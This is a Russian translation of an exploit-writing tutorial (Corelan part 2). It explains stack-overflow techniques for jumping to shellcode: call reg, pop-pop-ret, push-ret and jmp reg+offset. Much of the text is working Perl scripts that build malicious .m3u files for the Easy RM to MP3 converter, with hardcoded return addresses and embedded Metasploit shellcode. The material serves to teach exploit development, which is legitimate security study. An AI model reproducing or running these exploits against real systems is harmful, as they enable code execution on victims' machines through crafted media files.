Exploit writing tutorial part 2 - Jumping to shellcode [RUS by pleaZ]

2011-05-23T00:00:00
ID RDOT:1481
Type rdot
Reporter p(eaZ
Modified 2011-05-23T00:00:00

Description

Автор: Peter Van Eeckhoutte (corelanc0d3r)
Перевод: p(eaz
5/2011

В предыдущей части руководства (Part1: Stack Based Overflows), я объяснял основы по использованию информации о найденной уязвимости в целях создания собственного эксплойта. На примере из предыдущей части, мы видели, что ESP указывал на начало нашего буфера (стоило лишь добавить 4 байта к шеллкоду), и мы использовали команду “jmp esp”, чтобы заставить выполниться шеллкод.

Примечание: Эта часть руководства полностью связана с первой частью, поэтому перед дальнейшим прочтением вам необходимо с ней ознакомиться.

Способ с использованием “jmp esp”, был прост и идеален. Но так легко будет далеко не всегда. Сегодня мы поговорим и о других способах выполнения/перехода к шеллкоду, и наконец о том, как вам следует поступать, если вы столкнулись с маленьким размером буфера.

Есть множество способов заставить шеллкод выполниться:

  • jump (или call) - перейти к…/вызвать регистр, который указывает на шеллкод. Суть этой методики в том, что вы используете регистр, который содержит адрес шеллкода, и помещаете его в EIP. Вам необходимо найти код "jump" или "call" к регистру в одной из dll’s, которые загружаются, либо доступны при запуске/работе приложения. Ваша полезная нагрузка (payload) должна перезаписать EIP адресом содержащим команду ”jump to the register”. Естественно, сработает это только тогда, когда один из доступных регистров содержит адрес шеллкода. Эту технику я описал в первой части руководства, так что не будем заострять на ней внимания.
  • pop return - если ни один из регистров не указывает на шеллкод, но сам адрес на него появляется в стеке (первый адрес, второй адрес, … адрес шеллкода), то вы можете попытаться передать его в EIP при помощи команд “pop ret”, или “pop pop ret”, или “pop pop pop ret” (количество “pop” зависит от того, каким по счету в стеке находится адрес шеллкода).
  • push return - этот метод очень похож на метод “jump/call register”. Если вам не удается найти опкоды “call register” или “jump register”, вы можете просто поместить адрес в стек и затем сделать ret. Таким образом, вам неоходимо найти опкод “push register”,с идущим за ним “ret”. Найдя такую последовательность, и узнав её адрес, вы можете перезаписать им EIP.
  • jmp [reg + offset] - если есть регистр, который указывает на буфер, содержащий шеллкод, но не указывает на его начало, вы можете попытаться найти команду в одной из dll ОС или приложения, которая добавит необходимое количество байт(offset) к регистру и затем перейдёт к его выполнению. Я прибегаю к данному методу, как к “jmp [reg] + [offset]”.
  • blind return - в предыдущей части я пояснил, что ESP это указатель текущей позиции (вершины) стека. Команда ret 'вытолкнет' (pop) последнее значение (4 байта) из стека и запишет новый адрес ESP. Если вы перезапишите EIP адресом, который выполнит команду ret, вы сможете загрузить в EIP значение, сохраненное в ESP. Если вы сталкиваетесь с ситуацией, при которой доступное пространство в буфере (после того, как перезаписан EIP) ограничено, но у вас есть много места до перезаписи EIP, то вы можете использовать jumpcode(код прыжка) в меньший буфер (который будет находиться до EIP), чтобы перейти к главной части шеллкода.
  • SEH – у каждого приложения есть обработчик особых ситуаций, который предоставляется операционной системой. Если само приложение не использует обработку особых ситуаций, вы можете попытаться перезаписать обработчик SEH вашим адресом и заставить его перейти к шеллкоду. Используя SEH можно сделать эксплойт, который сможет работать на различных платформах Windows, но для начала давайте кое-что проясним: суть в том, что, если вы пишите эксплойт, который не действует под каждой версией ОС, пэйлод(полезная нагрузка) может только уронить программу (и вызвать исключение). Если вам удастся объединить "обычный" эксплойт с SEH-ориентированныой техникой, вы сможете создать более надежный и многоплатформенный эксплойт. Следующая (третья) часть руководства, посвящена именно этой теме. Помните, что типичное стековое переполнение, при перезаписи EIP, может быть основано на SEH-ориентированном эксплойте, придавая ему больше стабильности и широкий размер буфера.

Методики, объясненные в этом документе, являются примерами. Цель данной части состоит в том, чтобы объяснить вам, что существуют различные способы выполнить шеллкод, и в иных случаях может быть применима одна из методик (а может быть и в комбинации с другой), чтобы заставить ваш код выполняться..

Возможно, существует еще больше методов, чтобы заставить пэйлод работать и работать надежно, но если вы владеете теми из перечисленных здесь, и если вы используете свой здравый смысл, вам удастся найти путь, уводящий вас от большинства проблем, при попытке сделать переход к вашему шеллкоду. Даже если методика, казалось бы, работает, но шеллкод не хочет выполняться, вы можете обратиться к помощи енкодеров(encoders) или изменить местоположения шеллкода, добавляя NOP’ы с нужной стороны. Это всё может вам сослужить.
Конечно, может быть и так, что уязвимость только приводит к аварийному отказу, и вообще не может быть эксплуатирована.

Что ж, давайте взглянем на практическую реализацию некоторых из упомянутых выше методик.

call [reg]
Если в регистре содержится адрес, который указывает на шеллкод, то вы сможете, выполнив call[reg], перейти к его выполнению. Иными словами, если ESP указывает на шеллкод (т.е., первый байт ESP является первым байтом шеллкода), то вы можете перезаписать EIP командой “call esp”, и шеллкод будет выполнен. Этот метод срабатывает со всеми регистрами и весьма популярен, потому что kernel32.dll содержит множество адресов с call[reg].

Небольшой пример: предположим, что ESP указывает на шеллкод, тогда мы ищем адрес, содержащий опкод ‘call esp’. Для поиска воспользуемся утилитой findjmp:

Затем, напишем эксплойт и перезапишем EIP адресом 0x7C8369F0.
На примере Easy RM to MP3 из первой части сего руководства известно, что мы можем указать ESP на начало нашего шеллкода, добавив 4 символа между местом, где перезаписываемым EIP и ESP. Теперь наш эксплойт будет выглядеть таким образом:

Код:

#!usr/bin/perl
#
# Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy_Hacker
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
# Greetings to Saumil and SK :-)
#
# tested on Windows XP SP3 (En)
#
#
#
my $file= "exp_call_esp.m3u";

my $junk= "A" x 26013; 
my $eip = pack('V', 0x7C8369F0);  #перезаписываем EIP на "call esp"
my $prependesp = "XXXX";  #добавляем 4 байта чтобы достать до ESP
my $shellcode = "\x90" x 25; #ноп-след

# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc

$shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";

open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

pwned!

pop ret
Как написано выше, на примере Easy RM to MP3, мы изменили наш буфер таким образом, что ESP указал непосредственно на наш шеллкод. Что, если не будет ни одного регистра, который указывал бы на него?

В таком случае, адрес, указывающий на шеллкод, может уже находиться в стеке. Сделайте дамп ESP (d esp), и посмотрите на первые адреса стека. Если один из этих адресов указывает на ваш шеллкод (или буфер), то вы сможете убедиться, что используя “pop ret” или “pop pop ret” можно добиться следующего:

  • взять необходимый адрес из стека
  • перейти к этому адресу.

Методика “pop ret” применима, когда ESP+offset уже содержит адрес, который указывает на шеллкод. По дампу ESP может быть видно, указывает ли один из первых адресов в стеке на наш шеллкод, и используя “pop ret” (или “pop pop ret” или “pop pop pop ret”) выталкиваем его в EIP. Каждый “pop” будет выталкивать по одному адресу из стека, и поместив конечный адрес, указывающий на наш шеллкод, в EIP, мы победим =).

Есть и другое применение для “pop ret”: что, если вы управляете EIP, но не один из регистров не указывает на шеллкод, но он может быть найден, например, в смещении ESP+8. В таком случае, вы можете поместить “pop pop ret” в EIP, который перейдет к ESP+8. И если вы поместите указатель на jmp по тому адресу, то поток перейдет к шеллкоду.

Давайте проверим. Мы знаем, что нам необходимо 26013 байт прежде, чем будет перезаписан EIP, и что нам нужно еще 4 байта перед тем, как мы попадем в стек, где ESP указывает на (в моем случае) 0x000ffd38.

Мы представим ESP+8, как 7 нопов + 1 брейк, и таким образом длина нашего буфера не будет нарушена.

26013 «A» + 4 «XXXX» + первый разрыв(брейк) + 7 NOP’ов + второй разрыв(брейк) + NOP’ы имитирующие пространство для шеллкода. Давайте представим, что шеллкод начинается после второго разрыва. Наша цель состоит в том, чтобы сделать переход с первого брейка, на второй брейк (который представлен в байтах, как ESP+8 = 0x000ffd40).

Код:

#!usr/bin/perl
my $file= "test_pop_ret.m3u";
my $junk= "A" x 26013;
my $eip = "BBBB"; #перезаписываем EIP
my $prependesp = "XXXX";  #четыре байта, чтобы достать до esp
my $shellcode = "\xcc"; #первый брейк
$shellcode = $shellcode . "\x90" x 7;  #добавляем 7 байт
$shellcode = $shellcode . "\xcc"; #второй брейк
$shellcode = $shellcode . "\x90" x 500;  #место для будущего шеллкода
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

Выполнив данный perl-скрипт, запустим полученный файл в конвертере. Приложение упало из-за буферного переполнения. Мы перезаписали EIP на “BBBB”. ESP по адресу 000ffd38 (который начинается с первого разрыва), следом идут 7 NOP’ов, и затем мы видим второй разрыв, который в действительности является началом нашего шеллкода (и находится в адресе 0x000ffd40).

Следующая наша цель состоит в том, чтобы получить значение ESP+8 в EIP (и обработав это значение, выполнить шеллкод). Мы будем использовать “pop, ret” технику + “jmp esp”, чтобы достигнуть этой цели.
Один POP выталкивает 4 байта с вершины стека. Таким образом, указатель вершины стека указал бы на 000ff734. Выполнение следующего POP вытолкнуло бы еще 4 байта с вершины стека. ESP указывал бы на 000ff738. После выполнения команды RET, значение из ESP, помещается в EIP. Так, если бы значение в 000ff738 содержало адрес на “jmp esp”, то, именно это выполнил бы EIP. Буфер после 000ff738 должен будет содержать наш shellcode.

Мы должны найти гне-нибудь последовательность “pop, pop, ret”, и переписать EIP адресом первой части этой последовательности. Также, мы должны установить ESP+8 в адрес “jmp esp”, сопровождаемый шеллкодом.

Прежде всего, мы должны узнать код операции “pop, pop, ret”. Воспользуемся для этого ассемблерным функционалом windbg, чтобы его получить:

Видим, что опкоды для “pop pop ret” будут 0x58, 0x5d, 0xC3.
Конечно, вы можете использовать pop и для других регистров, но тогда и опкод будет другим:

Теперь мы должны найти эту последовательность в одной из доступных dll. В первой части руководства мы использовали dll приложения вместо dll операционной системы. Я рекомендую использовать dll приложения, потому что это повышает качество и надежность эксплойта, и применимость его на других версиях Windows. Но, Вы все равно должны проверять используемые адреса базовых библиотек dll. Иногда, случается так, что dll «перестраивается», и в таких случаяъ лучше использовать одну из dll операционной системы, например user32.dll или kernel32.dll.

Запустите Easy RM to MP3 и подключите к процессу windbg.

Отладчик покажет загруженные модули, как операционной системы, так и модули самой программы. (обратите внимание на строки, которые начинаются с ModLoad).

Вот dll нашей программы:

Вы должны избегать использования адресов, которые содержат нулевые байты (т.к. это усложнит работу эксплойта).

Поиск в MSRMCcodec00.dll даст нам некоторые результаты:

Отлично, теперь мы сможем перейти к ESP+8. В той области мы должны поместить адрес “jmp esp” (потому, что RET возьмет этот адрес из той области и поместит его в EIP. В той точке ESP адрес укажет на наш шеллкод, который расположен правее, после адреса “jmp esp).

В первой части руководства мы узнали, что 0x01def23a относится к “jmp esp”.

Хорошо, вернемся к нашему perl-скрипту, и заменим “BBBB” одним из 3-х полученных нами адресов инструкции “pop, pop, ret”, перед которым на 8 байт будут идти NOP’ы (только в экспериментальных целях) следом адрес “jmp esp” , и затем сам шеллкод.

Буфер будет выглядеть следующим образом:

Поток эксплойта будет выглядеть следующим образом:

  1. EIP перезаписан на “pop, pop, ret” (этот пример не имеет никакого отношения к SHE-эксплойтам. Мы только хотим поместить значение из стеке в EIP). Область ESP начинается с8-байтового смещения к шеллкоду.
  2. “pop,pop,ret”, выполняется. EIP перезаписывается на 0x01def23a (адрес, который был найден в ESP+0×8). ESP теперь указывает на шеллкод.
  3. Так как EIP перезаписан адресом “jmp esp”, следующий шаг начнет выполнение шеллкода.

Мы смоделируем этот процесс при помощи разрывов (брейкпоинтов) и нескольких NOP’ов (имитация шеллкода), таким образом проследим за работой переходов.

Код:

#!usr/bin/perl
my $file= "test_pop_pop_ret.m3u";
my $junk= "A" x 26013;

my $eip = pack('V',0x01bb6a10); #адрес pop pop ret из  MSRMfilter01.dll
my $jmpesp = pack('V',0x01def23a); #jmp esp

my $prependesp = "XXXX";  
my $shellcode = "\x90" x 8;
$shellcode = $shellcode . $jmpesp;  #возврат через pop pop ret ( = jmp esp)
$shellcode = $shellcode . "\xcc" . "\x90" x 500;  #реальный шеллкод

open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

Это работает. Теперь давайте заменим NOP’ы после jmp esp (ESP+8) реальным шеллкодом (несколько NOP’ов + шеллкод, закодированный в alpha_upper) (выполнит calc):

Код:

#!usr/bin/perl
my $file= "real_pop_pop_ret_exp.m3u";
my $junk= "A" x 26013;

my $eip = pack('V',0x01bb6a10); #адрес pop pop ret из  MSRMfilter01.dll
my $jmpesp = pack('V',0x01def23a); #jmp esp

my $prependesp = "XXXX"; 
my $shellcode = "\x90" x 8;
my $shellcode = $shellcode . $jmpesp;  #возврат через pop pop ret ( = jmp esp)

$shellcode = $shellcode . "\x90" x 50;  #реальный шеллкод + 50 нопов
# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";

open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

pwned!

push return

“push ret” метод немного похож на call[reg]. Если один из регистров указывает на шеллкод, но по каким-либо причинам вы не можете использовать jmp[reg], чтобы перейти к нему, то можно

  • поместить адрес того регистра в стеке. Он попадет на вершину стека.
  • ret заберет этот адрес из стека и перейдёт к нему

Чтобы это осуществить, вы должны перезаписать EIP адресом последовательности “push[reg]+ret”, который можно найти в одной из dll.

Предположим, что шеллкод расположен в ESP. Тогда вам необходимо найти опкоды для ‘push esp’ и ‘ret’.

Видим опкоды 0×54 и 0xc3.
Найдём адреса, содержащие данную последовательность в dll программы:

Берем первый адрес и вписываем его в эксплойт. Запускаем и проверяем в действии:

Код:

#!usr/bin/perl
my $file= "push_ret_exploit.m3u";
my $junk= "A" x 26013;

my $eip = pack('V',0x01ba57f6);

my $prependesp = "XXXX";

my $shellcode = "\x90" x 25;

# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc

$shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";

open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

jmp [reg]+[offset]

Другая техника, которая может решить проблему, при которой шеллкод начинается со смещения регистра, попытаться найти инструкцию “jmp [reg + ret]”, и перезаписать EIP её адресом. Давайте предположим, что мы снова должны перепрыгнуть 8 байт (см. предыдущие примеры). Используя методику “jmp reg+offset”, мы просто перепрыгнули бы через 8 байтов в начало ESP(в область нашего шеллкода).

Мы должны пройти 3 этапа:

  1. найти опкод для “jmp esp+8h”
  2. найти адрес, который указывает на эту инструкцию
  3. обработать эксплойт, таким образом, чтобы он переписал EIP этим адресом

Ищем опкоды используя windbg:

Опкод: ff642408.

Теперь вы можете найти dll, в которой присутствует этот опкод, и использовать его адрес, чтобы переписать им EIP. В нашем примере я не смог найти этот опкод. Но вы не ограничены поиском одной лишь инструкции “jmp [esp+8]”. Можно попытаться найти значения со смещением, больше чем 8, после чего, просто поместить дополнительные NOP'ы в начале шеллкода и прыгнуть на них.